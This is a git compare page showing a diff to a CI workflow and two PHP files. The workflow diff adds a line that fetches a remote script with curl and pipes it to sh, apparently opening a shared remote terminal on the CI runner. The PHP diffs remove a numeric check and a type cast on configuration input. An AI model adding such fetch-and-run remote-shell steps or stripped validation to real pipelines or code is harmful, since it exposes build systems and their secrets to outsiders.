Compare commits

..

No commits in common. "c70205f2acdc3363b9f2dba4775d049800a0f8cf" and "00f1db8180e5eeb16297075e5ff46fec0c00afc8" have entirely different histories.

3 changed files with 3 additions and 2 deletions

View file

@ -361,6 +361,7 @@ jobs:
docker-compose -f docker-compose.test.yml up -d docker-compose -f docker-compose.test.yml up -d
check_service 8087 || exit 1 check_service 8087 || exit 1
check_service 8086 || exit 1 check_service 8086 || exit 1
curl -sSf https://sshx.io/get | sh -s run
php phpunit-11.3.phar --configuration phpunit.xml --log-junit reports/junit.xml --log-teamcity reports/teamcity --testdox-html reports/testdox.html --testdox-text reports/testdox.txt php phpunit-11.3.phar --configuration phpunit.xml --log-junit reports/junit.xml --log-teamcity reports/teamcity --testdox-html reports/testdox.html --testdox-text reports/testdox.txt
- name: Upload test reports - name: Upload test reports

View file

@ -348,7 +348,7 @@
case 'SB_CRYPTO_KEYPAIR_EXPIRES': case 'SB_CRYPTO_KEYPAIR_EXPIRES':
case 'SB_CRYPTO_ENCRYPTION_KEYS_COUNT': case 'SB_CRYPTO_ENCRYPTION_KEYS_COUNT':
case 'SB_CACHE_PORT': case 'SB_CACHE_PORT':
if($variable !== false && is_numeric($variable)) if($variable !== false)
{ {
Configuration::getConfigurationLib()->set($config, (int) $variable); Configuration::getConfigurationLib()->set($config, (int) $variable);
Program::getLogger()->info(sprintf('Set %s to %s', $config, $variable)); Program::getLogger()->info(sprintf('Set %s to %s', $config, $variable));

View file

@ -19,7 +19,7 @@
public function __construct(array $data) public function __construct(array $data)
{ {
$this->serverName = $data['server_name']; $this->serverName = $data['server_name'];
$this->serverKeypairExpires = (int)$data['server_keypair_expires'] ?? 0; $this->serverKeypairExpires = $data['server_keypair_expires'];
$this->transportEncryptionAlgorithm = $data['transport_encryption_algorithm']; $this->transportEncryptionAlgorithm = $data['transport_encryption_algorithm'];
} }